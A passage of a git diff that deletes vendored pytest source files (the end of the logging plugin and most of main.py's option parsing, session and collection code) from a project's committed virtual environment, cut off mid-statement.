self.handler.setLevel(level) - original_disable_level = self._force_enable_logging(level, logger_obj) - try: - yield - finally: - logger_obj.setLevel(orig_level) - self.handler.setLevel(handler_orig_level) - logging.disable(original_disable_level) - - @contextmanager - def filtering(self, filter_: logging.Filter) -> Generator[None, None, None]: - """Context manager that temporarily adds the given filter to the caplog's - :meth:`handler` for the 'with' statement block, and removes that filter at the - end of the block. - - :param filter_: A custom :class:`logging.Filter` object. - - .. versionadded:: 7.5 - """ - self.handler.addFilter(filter_) - try: - yield - finally: - self.handler.removeFilter(filter_) - - -@fixture -def caplog(request: FixtureRequest) -> Generator[LogCaptureFixture, None, None]: - """Access and control log capturing. - - Captured logs are available through the following properties/methods:: - - * caplog.messages -> list of format-interpolated log messages - * caplog.text -> string containing formatted log output - * caplog.records -> list of logging.LogRecord instances - * caplog.record_tuples -> list of (logger_name, level, message) tuples - * caplog.clear() -> clear captured records and formatted log output string - """ - result = LogCaptureFixture(request.node, _ispytest=True) - yield result - result._finalize() - - -def get_log_level_for_setting(config: Config, *setting_names: str) -> int | None: - for setting_name in setting_names: - log_level = config.getoption(setting_name) - if log_level is None: - log_level = config.getini(setting_name) - if log_level: - break - else: - return None - - if isinstance(log_level, str): - log_level = log_level.upper() - try: - return int(getattr(logging, log_level, log_level)) - except ValueError as e: - # Python logging does not recognise this as a logging level - raise UsageError( - f"'{log_level}' is not recognized as a logging level name for " - f"'{setting_name}'. Please consider passing the " - "logging level num instead." - ) from e - - -# run after terminalreporter/capturemanager are configured -@hookimpl(trylast=True) -def pytest_configure(config: Config) -> None: - config.pluginmanager.register(LoggingPlugin(config), "logging-plugin") - - -class LoggingPlugin: - """Attaches to the logging module and captures log messages for each test.""" - - def __init__(self, config: Config) -> None: - """Create a new plugin to capture log messages. - - The formatter can be safely shared across all handlers so - create a single one for the entire test session here. - """ - self._config = config - - # Report logging. - self.formatter = self._create_formatter( - get_option_ini(config, "log_format"), - get_option_ini(config, "log_date_format"), - get_option_ini(config, "log_auto_indent"), - ) - self.log_level = get_log_level_for_setting(config, "log_level") - self.caplog_handler = LogCaptureHandler() - self.caplog_handler.setFormatter(self.formatter) - self.report_handler = LogCaptureHandler() - self.report_handler.setFormatter(self.formatter) - - # File logging. - self.log_file_level = get_log_level_for_setting( - config, "log_file_level", "log_level" - ) - log_file = get_option_ini(config, "log_file") or os.devnull - if log_file != os.devnull: - directory = os.path.dirname(os.path.abspath(log_file)) - if not os.path.isdir(directory): - os.makedirs(directory) - - self.log_file_mode = get_option_ini(config, "log_file_mode") or "w" - self.log_file_handler = _FileHandler( - log_file, mode=self.log_file_mode, encoding="UTF-8" - ) - log_file_format = get_option_ini(config, "log_file_format", "log_format") - log_file_date_format = get_option_ini( - config, "log_file_date_format", "log_date_format" - ) - - log_file_formatter = DatetimeFormatter( - log_file_format, datefmt=log_file_date_format - ) - self.log_file_handler.setFormatter(log_file_formatter) - - # CLI/live logging. - self.log_cli_level = get_log_level_for_setting( - config, "log_cli_level", "log_level" - ) - if self._log_cli_enabled(): - terminal_reporter = config.pluginmanager.get_plugin("terminalreporter") - # Guaranteed by `_log_cli_enabled()`. - assert terminal_reporter is not None - capture_manager = config.pluginmanager.get_plugin("capturemanager") - # if capturemanager plugin is disabled, live logging still works. - self.log_cli_handler: ( - _LiveLoggingStreamHandler | _LiveLoggingNullHandler - ) = _LiveLoggingStreamHandler(terminal_reporter, capture_manager) - else: - self.log_cli_handler = _LiveLoggingNullHandler() - log_cli_formatter = self._create_formatter( - get_option_ini(config, "log_cli_format", "log_format"), - get_option_ini(config, "log_cli_date_format", "log_date_format"), - get_option_ini(config, "log_auto_indent"), - ) - self.log_cli_handler.setFormatter(log_cli_formatter) - self._disable_loggers(loggers_to_disable=config.option.logger_disable) - - def _disable_loggers(self, loggers_to_disable: list[str]) -> None: - if not loggers_to_disable: - return - - for name in loggers_to_disable: - logger = logging.getLogger(name) - logger.disabled = True - - def _create_formatter(self, log_format, log_date_format, auto_indent): - # Color option doesn't exist if terminal plugin is disabled. - color = getattr(self._config.option, "color", "no") - if color != "no" and ColoredLevelFormatter.LEVELNAME_FMT_REGEX.search( - log_format - ): - formatter: logging.Formatter = ColoredLevelFormatter( - create_terminal_writer(self._config), log_format, log_date_format - ) - else: - formatter = DatetimeFormatter(log_format, log_date_format) - - formatter._style = PercentStyleMultiline( - formatter._style._fmt, auto_indent=auto_indent - ) - - return formatter - - def set_log_path(self, fname: str) -> None: - """Set the filename parameter for Logging.FileHandler(). - - Creates parent directory if it does not exist. - - .. warning:: - This is an experimental API. - """ - fpath = Path(fname) - - if not fpath.is_absolute(): - fpath = self._config.rootpath / fpath - - if not fpath.parent.exists(): - fpath.parent.mkdir(exist_ok=True, parents=True) - - # https://github.com/python/mypy/issues/11193 - stream: io.TextIOWrapper = fpath.open(mode=self.log_file_mode, encoding="UTF-8") # type: ignore[assignment] - old_stream = self.log_file_handler.setStream(stream) - if old_stream: - old_stream.close() - - def _log_cli_enabled(self) -> bool: - """Return whether live logging is enabled.""" - enabled = self._config.getoption( - "--log-cli-level" - ) is not None or self._config.getini("log_cli") - if not enabled: - return False - - terminal_reporter = self._config.pluginmanager.get_plugin("terminalreporter") - if terminal_reporter is None: - # terminal reporter is disabled e.g. by pytest-xdist. - return False - - return True - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_sessionstart(self) -> Generator[None, None, None]: - self.log_cli_handler.set_when("sessionstart") - - with catching_logs(self.log_cli_handler, level=self.log_cli_level): - with catching_logs(self.log_file_handler, level=self.log_file_level): - return (yield) - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_collection(self) -> Generator[None, None, None]: - self.log_cli_handler.set_when("collection") - - with catching_logs(self.log_cli_handler, level=self.log_cli_level): - with catching_logs(self.log_file_handler, level=self.log_file_level): - return (yield) - - @hookimpl(wrapper=True) - def pytest_runtestloop(self, session: Session) -> Generator[None, object, object]: - if session.config.option.collectonly: - return (yield) - - if self._log_cli_enabled() and self._config.getoption("verbose") < 1: - # The verbose flag is needed to avoid messy test progress output. - self._config.option.verbose = 1 - - with catching_logs(self.log_cli_handler, level=self.log_cli_level): - with catching_logs(self.log_file_handler, level=self.log_file_level): - return (yield) # Run all the tests. - - @hookimpl - def pytest_runtest_logstart(self) -> None: - self.log_cli_handler.reset() - self.log_cli_handler.set_when("start") - - @hookimpl - def pytest_runtest_logreport(self) -> None: - self.log_cli_handler.set_when("logreport") - - def _runtest_for(self, item: nodes.Item, when: str) -> Generator[None, None, None]: - """Implement the internals of the pytest_runtest_xxx() hooks.""" - with catching_logs( - self.caplog_handler, - level=self.log_level, - ) as caplog_handler, catching_logs( - self.report_handler, - level=self.log_level, - ) as report_handler: - caplog_handler.reset() - report_handler.reset() - item.stash[caplog_records_key][when] = caplog_handler.records - item.stash[caplog_handler_key] = caplog_handler - - try: - yield - finally: - log = report_handler.stream.getvalue().strip() - item.add_report_section(when, "log", log) - - @hookimpl(wrapper=True) - def pytest_runtest_setup(self, item: nodes.Item) -> Generator[None, None, None]: - self.log_cli_handler.set_when("setup") - - empty: dict[str, list[logging.LogRecord]] = {} - item.stash[caplog_records_key] = empty - yield from self._runtest_for(item, "setup") - - @hookimpl(wrapper=True) - def pytest_runtest_call(self, item: nodes.Item) -> Generator[None, None, None]: - self.log_cli_handler.set_when("call") - - yield from self._runtest_for(item, "call") - - @hookimpl(wrapper=True) - def pytest_runtest_teardown(self, item: nodes.Item) -> Generator[None, None, None]: - self.log_cli_handler.set_when("teardown") - - try: - yield from self._runtest_for(item, "teardown") - finally: - del item.stash[caplog_records_key] - del item.stash[caplog_handler_key] - - @hookimpl - def pytest_runtest_logfinish(self) -> None: - self.log_cli_handler.set_when("finish") - - @hookimpl(wrapper=True, tryfirst=True) - def pytest_sessionfinish(self) -> Generator[None, None, None]: - self.log_cli_handler.set_when("sessionfinish") - - with catching_logs(self.log_cli_handler, level=self.log_cli_level): - with catching_logs(self.log_file_handler, level=self.log_file_level): - return (yield) - - @hookimpl - def pytest_unconfigure(self) -> None: - # Close the FileHandler explicitly. - # (logging.shutdown might have lost the weakref?!) - self.log_file_handler.close() - - -class _FileHandler(logging.FileHandler): - """A logging FileHandler with pytest tweaks.""" - - def handleError(self, record: logging.LogRecord) -> None: - # Handled by LogCaptureHandler. - pass - - -class _LiveLoggingStreamHandler(logging_StreamHandler): - """A logging StreamHandler used by the live logging feature: it will - write a newline before the first log message in each test. - - During live logging we must also explicitly disable stdout/stderr - capturing otherwise it will get captured and won't appear in the - terminal. - """ - - # Officially stream needs to be a IO[str], but TerminalReporter - # isn't. So force it. - stream: TerminalReporter = None # type: ignore - - def __init__( - self, - terminal_reporter: TerminalReporter, - capture_manager: CaptureManager | None, - ) -> None: - super().__init__(stream=terminal_reporter) # type: ignore[arg-type] - self.capture_manager = capture_manager - self.reset() - self.set_when(None) - self._test_outcome_written = False - - def reset(self) -> None: - """Reset the handler; should be called before the start of each test.""" - self._first_record_emitted = False - - def set_when(self, when: str | None) -> None: - """Prepare for the given test phase (setup/call/teardown).""" - self._when = when - self._section_name_shown = False - if when == "start": - self._test_outcome_written = False - - def emit(self, record: logging.LogRecord) -> None: - ctx_manager = ( - self.capture_manager.global_and_fixture_disabled() - if self.capture_manager - else nullcontext() - ) - with ctx_manager: - if not self._first_record_emitted: - self.stream.write("\n") - self._first_record_emitted = True - elif self._when in ("teardown", "finish"): - if not self._test_outcome_written: - self._test_outcome_written = True - self.stream.write("\n") - if not self._section_name_shown and self._when: - self.stream.section("live log " + self._when, sep="-", bold=True) - self._section_name_shown = True - super().emit(record) - - def handleError(self, record: logging.LogRecord) -> None: - # Handled by LogCaptureHandler. - pass - - -class _LiveLoggingNullHandler(logging.NullHandler): - """A logging handler used when live logging is disabled.""" - - def reset(self) -> None: - pass - - def set_when(self, when: str) -> None: - pass - - def handleError(self, record: logging.LogRecord) -> None: - # Handled by LogCaptureHandler. - pass diff --git a/backend/venv/Lib/site-packages/_pytest/main.py b/backend/venv/Lib/site-packages/_pytest/main.py deleted file mode 100644 index befc7ccc..00000000 --- a/backend/venv/Lib/site-packages/_pytest/main.py +++ /dev/null @@ -1,1072 +0,0 @@ -"""Core implementation of the testing process: init, session, runtest loop.""" - -from __future__ import annotations - -import argparse -import dataclasses -import fnmatch -import functools -import importlib -import importlib.util -import os -from pathlib import Path -import sys -from typing import AbstractSet -from typing import Callable -from typing import Dict -from typing import final -from typing import Iterable -from typing import Iterator -from typing import Literal -from typing import overload -from typing import Sequence -from typing import TYPE_CHECKING -import warnings - -import pluggy - -from _pytest import nodes -import _pytest._code -from _pytest.config import Config -from _pytest.config import directory_arg -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config import PytestPluginManager -from _pytest.config import UsageError -from _pytest.config.argparsing import Parser -from _pytest.config.compat import PathAwareHookProxy -from _pytest.outcomes import exit -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath -from _pytest.pathlib import fnmatch_ex -from _pytest.pathlib import safe_exists -from _pytest.pathlib import scandir -from _pytest.reports import CollectReport -from _pytest.reports import TestReport -from _pytest.runner import collect_one_node -from _pytest.runner import SetupState -from _pytest.warning_types import PytestWarning - - -if TYPE_CHECKING: - from typing import Self - - from _pytest.fixtures import FixtureManager - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "norecursedirs", - "Directory patterns to avoid for recursion", - type="args", - default=[ - "*.egg", - ".*", - "_darcs", - "build", - "CVS", - "dist", - "node_modules", - "venv", - "{arch}", - ], - ) - parser.addini( - "testpaths", - "Directories to search for tests when no files or directories are given on the " - "command line", - type="args", - default=[], - ) - group = parser.getgroup("general", "Running and selection options") - group._addoption( - "-x", - "--exitfirst", - action="store_const", - dest="maxfail", - const=1, - help="Exit instantly on first error or failed test", - ) - group = parser.getgroup("pytest-warnings") - group.addoption( - "-W", - "--pythonwarnings", - action="append", - help="Set which warnings to report, see -W option of Python itself", - ) - parser.addini( - "filterwarnings", - type="linelist", - help="Each line specifies a pattern for " - "warnings.filterwarnings. " - "Processed after -W/--pythonwarnings.", - ) - group._addoption( - "--maxfail", - metavar="num", - action="store", - type=int, - dest="maxfail", - default=0, - help="Exit after first num failures or errors", - ) - group._addoption( - "--strict-config", - action="store_true", - help="Any warnings encountered while parsing the `pytest` section of the " - "configuration file raise errors", - ) - group._addoption( - "--strict-markers", - action="store_true", - help="Markers not registered in the `markers` section of the configuration " - "file raise errors", - ) - group._addoption( - "--strict", - action="store_true", - help="(Deprecated) alias to --strict-markers", - ) - group._addoption( - "-c", - "--config-file", - metavar="FILE", - type=str, - dest="inifilename", - help="Load configuration from `FILE` instead of trying to locate one of the " - "implicit configuration files.", - ) - group._addoption( - "--continue-on-collection-errors", - action="store_true", - default=False, - dest="continue_on_collection_errors", - help="Force test execution even if collection errors occur", - ) - group._addoption( - "--rootdir", - action="store", - dest="rootdir", - help="Define root directory for tests. Can be relative path: 'root_dir', './root_dir', " - "'root_dir/another_dir/'; absolute path: '/home/user/root_dir'; path with variables: " - "'$HOME/root_dir'.", - ) - - group = parser.getgroup("collect", "collection") - group.addoption( - "--collectonly", - "--collect-only", - "--co", - action="store_true", - help="Only collect tests, don't execute them", - ) - group.addoption( - "--pyargs", - action="store_true", - help="Try to interpret all arguments as Python packages", - ) - group.addoption( - "--ignore", - action="append", - metavar="path", - help="Ignore path during collection (multi-allowed)", - ) - group.addoption( - "--ignore-glob", - action="append", - metavar="path", - help="Ignore path pattern during collection (multi-allowed)", - ) - group.addoption( - "--deselect", - action="append", - metavar="nodeid_prefix", - help="Deselect item (via node id prefix) during collection (multi-allowed)", - ) - group.addoption( - "--confcutdir", - dest="confcutdir", - default=None, - metavar="dir", - type=functools.partial(directory_arg, optname="--confcutdir"), - help="Only load conftest.py's relative to specified dir", - ) - group.addoption( - "--noconftest", - action="store_true", - dest="noconftest", - default=False, - help="Don't load any conftest.py files", - ) - group.addoption( - "--keepduplicates", - "--keep-duplicates", - action="store_true", - dest="keepduplicates", - default=False, - help="Keep duplicate tests", - ) - group.addoption( - "--collect-in-virtualenv", - action="store_true", - dest="collect_in_virtualenv", - default=False, - help="Don't ignore tests in a local virtualenv directory", - ) - group.addoption( - "--import-mode", - default="prepend", - choices=["prepend", "append", "importlib"], - dest="importmode", - help="Prepend/append to sys.path when importing test modules and conftest " - "files. Default: prepend.", - ) - parser.addini( - "consider_namespace_packages", - type="bool", - default=False, - help="Consider namespace packages when resolving module names during import", - ) - - group = parser.getgroup("debugconfig", "test session debugging and configuration") - group.addoption( - "--basetemp", - dest="basetemp", - default=None, - type=validate_basetemp, - metavar="dir", - help=( - "Base temporary directory for this test run. " - "(Warning: this directory is removed if it exists.)" - ), - ) - - -def validate_basetemp(path: str) -> str: - # GH 7119 - msg = "basetemp must not be empty, the current working directory or any parent directory of it" - - # empty path - if not path: - raise argparse.ArgumentTypeError(msg) - - def is_ancestor(base: Path, query: Path) -> bool: - """Return whether query is an ancestor of base.""" - if base == query: - return True - return query in base.parents - - # check if path is an ancestor of cwd - if is_ancestor(Path.cwd(), Path(path).absolute()): - raise argparse.ArgumentTypeError(msg) - - # check symlinks for ancestors - if is_ancestor(Path.cwd().resolve(), Path(path).resolve()): - raise argparse.ArgumentTypeError(msg) - - return path - - -def wrap_session( - config: Config, doit: Callable[[Config, Session], int | ExitCode | None] -) -> int | ExitCode: - """Skeleton command line program.""" - session = Session.from_config(config) - session.exitstatus = ExitCode.OK - initstate = 0 - try: - try: - config._do_configure() - initstate = 1 - config.hook.pytest_sessionstart(session=session) - initstate = 2 - session.exitstatus = doit(config, session) or 0 - except UsageError: - session.exitstatus = ExitCode.USAGE_ERROR - raise - except Failed: - session.exitstatus = ExitCode.TESTS_FAILED - except (KeyboardInterrupt, exit.Exception): - excinfo = _pytest._code.ExceptionInfo.from_current() - exitstatus: int | ExitCode = ExitCode.INTERRUPTED - if isinstance(excinfo.value, exit.Exception): - if excinfo.value.returncode is not None: - exitstatus = excinfo.value.returncode - if initstate < 2: - sys.stderr.write(f"{excinfo.typename}: {excinfo.value.msg}\n") - config.hook.pytest_keyboard_interrupt(excinfo=excinfo) - session.exitstatus = exitstatus - except BaseException: - session.exitstatus = ExitCode.INTERNAL_ERROR - excinfo = _pytest._code.ExceptionInfo.from_current() - try: - config.notify_exception(excinfo, config.option) - except exit.Exception as exc: - if exc.returncode is not None: - session.exitstatus = exc.returncode - sys.stderr.write(f"{type(exc).__name__}: {exc}\n") - else: - if isinstance(excinfo.value, SystemExit): - sys.stderr.write("mainloop: caught unexpected SystemExit!\n") - - finally: - # Explicitly break reference cycle. - excinfo = None # type: ignore - os.chdir(session.startpath) - if initstate >= 2: - try: - config.hook.pytest_sessionfinish( - session=session, exitstatus=session.exitstatus - ) - except exit.Exception as exc: - if exc.returncode is not None: - session.exitstatus = exc.returncode - sys.stderr.write(f"{type(exc).__name__}: {exc}\n") - config._ensure_unconfigure() - return session.exitstatus - - -def pytest_cmdline_main(config: Config) -> int | ExitCode: - return wrap_session(config, _main) - - -def _main(config: Config, session: Session) -> int | ExitCode | None: - """Default command line protocol for initialization, session, - running tests and reporting.""" - config.hook.pytest_collection(session=session) - config.hook.pytest_runtestloop(session=session) - - if session.testsfailed: - return ExitCode.TESTS_FAILED - elif session.testscollected == 0: - return ExitCode.NO_TESTS_COLLECTED - return None - - -def pytest_collection(session: Session) -> None: - session.perform_collect() - - -def pytest_runtestloop(session: Session) -> bool: - if session.testsfailed and not session.config.option.continue_on_collection_errors: - raise session.Interrupted( - "%d error%s during collection" - % (session.testsfailed, "s" if session.testsfailed != 1 else "") - ) - - if session.config.option.collectonly: - return True - - for i, item in enumerate(session.items): - nextitem = session.items[i + 1] if i + 1 < len(session.items) else None - item.config.hook.pytest_runtest_protocol(item=item, nextitem=nextitem) - if session.shouldfail: - raise session.Failed(session.shouldfail) - if session.shouldstop: - raise session.Interrupted(session.shouldstop) - return True - - -def _in_venv(path: Path) -> bool: - """Attempt to detect if ``path`` is the root of a Virtual Environment by - checking for the existence of the pyvenv.cfg file. - - [https://peps.python.org/pep-0405/] - - For regression protection we also check for conda environments that do not include pyenv.cfg yet -- - https://github.com/conda/conda/issues/13337 is the conda issue tracking adding pyenv.cfg. - - Checking for the `conda-meta/history` file per https://github.com/pytest-dev/pytest/issues/12652#issuecomment-2246336902. - - """ - try: - return ( - path.joinpath("pyvenv.cfg").is_file() - or path.joinpath("conda-meta", "history").is_file() - ) - except OSError: - return False - - -def pytest_ignore_collect(collection_path: Path, config: Config) -> bool | None: - if collection_path.name == "__pycache__": - return True - - ignore_paths = config._getconftest_pathlist( - "collect_ignore", path=collection_path.parent - ) - ignore_paths = ignore_paths or [] - excludeopt = config.getoption("ignore") - if excludeopt: - ignore_paths.extend(absolutepath(x) for x in excludeopt) - - if collection_path in ignore_paths: - return True - - ignore_globs = config._getconftest_pathlist( - "collect_ignore_glob", path=collection_path.parent - ) - ignore_globs = ignore_globs or [] - excludeglobopt = config.getoption("ignore_glob") - if excludeglobopt: - ignore_globs.extend(absolutepath(x) for x in excludeglobopt) - - if any(fnmatch.fnmatch(str(collection_path), str(glob)) for glob in ignore_globs): - return True - - allow_in_venv = config.getoption("collect_in_virtualenv") - if not allow_in_venv and _in_venv(collection_path): - return True - - if collection_path.is_dir(): - norecursepatterns = config.getini("norecursedirs") - if any(fnmatch_ex(pat, collection_path) for pat in norecursepatterns): - return True - - return None - - -def pytest_collect_directory( - path: Path, parent: nodes.Collector -) -> nodes.Collector | None: - return Dir.from_parent(parent, path=path) - - -def pytest_collection_modifyitems(items: list[nodes.Item], config: Config) -> None: - deselect_prefixes = tuple(config.getoption("deselect") or []) - if not deselect_prefixes: - return - - remaining = [] - deselected = [] - for colitem in items: - if colitem.nodeid.startswith(deselect_prefixes): - deselected.append(colitem) - else: - remaining.append(colitem) - - if deselected: - config.hook.pytest_deselected(items=deselected) - items[:] = remaining - - -class FSHookProxy: - def __init__( - self, - pm: PytestPluginManager, - remove_mods: AbstractSet[object], - ) -> None: - self.pm = pm - self.remove_mods = remove_mods - - def __getattr__(self, name: str) -> pluggy.HookCaller: - x = self.pm.subset_hook_caller(name, remove_plugins=self.remove_mods) - self.__dict__[name] = x - return x - - -class Interrupted(KeyboardInterrupt): - """Signals that the test run was interrupted.""" - - __module__ = "builtins" # For py3. - - -class Failed(Exception): - """Signals a stop as failed test run.""" - - -@dataclasses.dataclass -class _bestrelpath_cache(Dict[Path, str]): - __slots__ = ("path",) - - path: Path - - def __missing__(self, path: Path) -> str: - r = bestrelpath(self.path, path) - self[path] = r - return r - - -@final -class Dir(nodes.Directory): - """Collector of files in a file system directory. - - .. versionadded:: 8.0 - - .. note:: - - Python directories with an `__init__.py` file are instead collected by - :class:`~pytest.Package` by default. Both are :class:`~pytest.Directory` - collectors. - """ - - @classmethod - def from_parent( # type: ignore[override] - cls, - parent: nodes.Collector, - *, - path: Path, - ) -> Self: - """The public constructor. - - :param parent: The parent collector of this Dir. - :param path: The directory's path. - :type path: pathlib.Path - """ - return super().from_parent(parent=parent, path=path) - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - config = self.config - col: nodes.Collector | None - cols: Sequence[nodes.Collector] - ihook = self.ihook - for direntry in scandir(self.path): - if direntry.is_dir(): - path = Path(direntry.path) - if not self.session.isinitpath(path, with_parents=True): - if ihook.pytest_ignore_collect(collection_path=path, config=config): - continue - col = ihook.pytest_collect_directory(path=path, parent=self) - if col is not None: - yield col - - elif direntry.is_file(): - path = Path(direntry.path) - if not self.session.isinitpath(path): - if ihook.pytest_ignore_collect(collection_path=path, config=config): - continue - cols = ihook.pytest_collect_file(file_path=path, parent=self) - yield from cols - - -@final -class Session(nodes.Collector): - """The root of the collection tree. - - ``Session`` collects the initial paths given as arguments to pytest. - """ - - Interrupted = Interrupted - Failed = Failed - # Set on the session by runner.pytest_sessionstart. - _setupstate: SetupState - # Set on the session by fixtures.pytest_sessionstart. - _fixturemanager: FixtureManager - exitstatus: int | ExitCode - - def __init__(self, config: Config) -> None: - super().__init__( - name="", - path=config.rootpath, - fspath=None, - parent=None, - config=config, - session=self, - nodeid="", - ) - self.testsfailed = 0 - self.testscollected = 0 - self._shouldstop: bool | str = False - self._shouldfail: bool | str = False - self.trace = config.trace.root.get("collection") - self._initialpaths: frozenset[Path] = frozenset() - self._initialpaths_with_parents: frozenset[Path] = frozenset() - self._notfound: list[tuple[str, Sequence[nodes.Collector]]] = [] - self._initial_parts: list[CollectionArgument] = [] - self._collection_cache: dict[nodes.Collector, CollectReport] = {} - self.items: list[nodes.Item] = [] - - self._bestrelpathcache: dict[Path, str] = _bestrelpath_cache(config.rootpath) - - self.config.pluginmanager.register(self, name="session") - - @classmethod - def from_config(cls, config: Config) -> Session: - session: Session = cls._create(config=config) - return session - - def __repr__(self) -> str: - return "<%s %s exitstatus=%r testsfailed=%d testscollected=%d>" % ( - self.__class__.__name__, - self.name, - getattr(self, "exitstatus", ""), - self.testsfailed, - self.testscollected, - ) - - @property - def shouldstop(self) -> bool | str: - return self._shouldstop - - @shouldstop.setter - def shouldstop(self, value: bool | str) -> None: - # The runner checks shouldfail and assumes that if it is set we are - # definitely stopping, so prevent unsetting it. - if value is False and self._shouldstop: - warnings.warn( - PytestWarning( - "session.shouldstop cannot be unset after it has been set; ignoring." - ), - stacklevel=2, - ) - return - self._shouldstop = value - - @property - def shouldfail(self) -> bool | str: - return self._shouldfail - - @shouldfail.setter - def shouldfail(self, value: bool | str) -> None: - # The runner checks shouldfail and assumes that if it is set we are - # definitely stopping, so prevent unsetting it. - if value is False and self._shouldfail: - warnings.warn( - PytestWarning( - "session.shouldfail cannot be unset after it has been set; ignoring." - ), - stacklevel=2, - ) - return - self._shouldfail = value - - @property - def startpath(self) -> Path: - """The path from which pytest was invoked. - - .. versionadded:: 7.0.0 - """ - return self.config.invocation_params.dir - - def _node_location_to_relpath(self, node_path: Path) -> str: - # bestrelpath is a quite slow function. - return self._bestrelpathcache[node_path] - - @hookimpl(tryfirst=True) - def pytest_collectstart(self) -> None: - if self.shouldfail: - raise self.Failed(self.shouldfail) - if self.shouldstop: - raise self.Interrupted(self.shouldstop) - - @hookimpl(tryfirst=True) - def pytest_runtest_logreport(self, report: TestReport | CollectReport) -> None: - if report.failed and not hasattr(report, "wasxfail"): - self.testsfailed += 1 - maxfail = self.config.getvalue("maxfail") - if maxfail and self.testsfailed >= maxfail: - self.shouldfail = "stopping after %d failures" % (self.testsfailed) - - pytest_collectreport = pytest_runtest_logreport - - def isinitpath( - self, - path: str | os.PathLike[str], - *, - with_parents: bool = False, - ) -> bool: - """Is path an initial path? - - An initial path is a path explicitly given to pytest on the command - line. - - :param with_parents: - If set, also return True if the path is a parent of an initial path. - - .. versionchanged:: 8.0 - Added the ``with_parents`` parameter. - """ - # Optimization: Path(Path(...)) is much slower than isinstance. - path_ = path if isinstance(path, Path) else Path(path) - if with_parents: - return path_ in self._initialpaths_with_parents - else: - return path_ in self._initialpaths - - def gethookproxy(self, fspath: os.PathLike[str]) -> pluggy.HookRelay: - # Optimization: Path(Path(...)) is much slower than isinstance. - path = fspath if isinstance(fspath, Path) else Path(fspath) - pm = self.config.pluginmanager - # Check if we have the common case of running - # hooks with all conftest.py files. - my_conftestmodules = pm._getconftestmodules(path) - remove_mods = pm._conftest_plugins.difference(my_conftestmodules) - proxy: pluggy.HookRelay - if remove_mods: - # One or more conftests are not in use at this path. - proxy = PathAwareHookProxy(FSHookProxy(pm, remove_mods)) # type: ignore[arg-type,assignment] - else: - # All plugins are active for this fspath. - proxy = self.config.hook - return proxy - - def _collect_path( - self, - path: Path, - path_cache: dict[Path, Sequence[nodes.Collector]], - ) -> Sequence[nodes.Collector]: - """Create a Collector for the given path. - - `path_cache` makes it so the same Collectors are returned for the same - path. - """ - if path in path_cache: - return path_cache[path] - - if path.is_dir(): - ihook = self.gethookproxy(path.parent) - col: nodes.Collector | None = ihook.pytest_collect_directory( - path=path, parent=self - ) - cols: Sequence[nodes.Collector] = (col,) if col is not None else () - - elif path.is_file(): - ihook = self.gethookproxy(path) - cols = ihook.pytest_collect_file(file_path=path, parent=self) - - else: - # Broken symlink or invalid/missing file. - cols = () - - path_cache[path] = cols - return cols - - @overload - def perform_collect( - self, args: Sequence[str] | None = ..., genitems: Literal[True] = ... - ) -> Sequence[nodes.Item]: ... - - @overload - def perform_collect( - self, args: Sequence[str] | None = ..., genitems: bool = ... - ) -> Sequence[nodes.Item | nodes.Collector]: ... - - def perform_collect( - self, args: Sequence[str] | None = None, genitems: bool = True - ) -> Sequence[nodes.Item | nodes.Collector]: - """Perform the collection phase for this session. - - This is called by the default :hook:`pytest_collection` hook - implementation; see the documentation of this hook for more details. - For testing purposes, it may also be called directly on a fresh - ``Session``. - - This function normally recursively expands any collectors collected - from the session to their items, and only items are returned. For - testing purposes, this may be suppressed by passing ``genitems=False``, - in which case the return value contains these collectors unexpanded, - and ``session.items`` is empty. - """ - if args is None: - args = self.config.args - - self.trace("perform_collect", self, args) - self.trace.root.indent += 1 - - hook = self.config.hook - - self._notfound = [] - self._initial_parts = [] - self._collection_cache = {} - self.items = [] - items: Sequence[nodes.Item | nodes.Collector] = self.items - try: - initialpaths: list[Path] = [] - initialpaths_with_parents: list[Path] = [] - for arg in args: - collection_argument = resolve_collection_argument( - self.config.invocation_params.dir, - arg, - as_pypath=self.config.option.pyargs, - ) - self._initial_parts.append(collection_argument) - initialpaths.append(collection_argument.path) - initialpaths_with_parents.append(collection_argument.path) - initialpaths_with_parents.extend(collection_argument.path.parents) - self._initialpaths = frozenset(initialpaths) - self._initialpaths_with_parents = frozenset(initialpaths_with_parents) - - rep = collect_one_node(self) - self.ihook.pytest_collectreport(report=rep) - self.trace.root.indent -= 1 - if self._notfound: - errors = [] - for arg, collectors in self._notfound: - if collectors: - errors.append( - f"not found: {arg}\n(no match in any of {collectors!r})" - ) - else: - errors.append(f"found no collectors for {arg}") - - raise UsageError(*errors) - - if not genitems: - items = rep.result - else: - if rep.passed: - for node in rep.result: - self.items.extend(self.genitems(node)) - - self.config.pluginmanager.check_pending() - hook.pytest_collection_modifyitems( - session=self, config=self.config, items=items - ) - finally: - self._notfound = [] - self._initial_parts = [] - self._collection_cache = {} - hook.pytest_collection_finish(session=self) - - if genitems: - self.testscollected = len(items) - - return items - - def _collect_one_node( - self, - node: nodes.Collector, - handle_dupes: bool = True, - ) -> tuple[CollectReport, bool]: - if node in self._collection_cache and handle_dupes: - rep = self._collection_cache[node] - return rep, True - else: - rep = collect_one_node(node) - self._collection_cache[node] = rep - return rep, False - - def collect(self) -> Iterator[nodes.Item | nodes.Collector]: - # This is a cache for the root directories of the initial paths. - # We can't use collection_cache for Session because of its special - # role as the bootstrapping collector. - path_cache: dict[Path, Sequence[nodes.Collector]] = {} - - pm = self.config.pluginmanager - - for collection_argument in self._initial_parts: - self.trace("processing argument", collection_argument) - self.trace.root.indent += 1 - - argpath = collection_argument.path - names = collection_argument.parts - module_name = collection_argument.module_name - - # resolve_collection_argument() ensures this. - if argpath.is_dir(): - assert not names, f"invalid arg {(argpath, names)!r}" - - paths = [argpath] - # Add relevant parents of the path, from the root, e.g. - # /a/b/c.py -> [/, /a, /a/b, /a/b/c.py] - if module_name is None: - # Paths outside of the confcutdir should not be considered. - for path in argpath.parents: - if not pm._is_in_confcutdir(path): - break - paths.insert(0, path) - else: - # For --pyargs arguments, only consider paths matching the module - # name. Paths beyond the package hierarchy are not included. - module_name_parts = module_name.split(".") - for i, path in enumerate(argpath.parents, 2): - if i > len(module_name_parts) or path.stem != module_name_parts[-i]: - break - paths.insert(0, path) - - # Start going over the parts from the root, collecting each level - # and discarding all nodes which don't match the level's part. - any_matched_in_initial_part = False - notfound_collectors = [] - work: list[tuple[nodes.Collector | 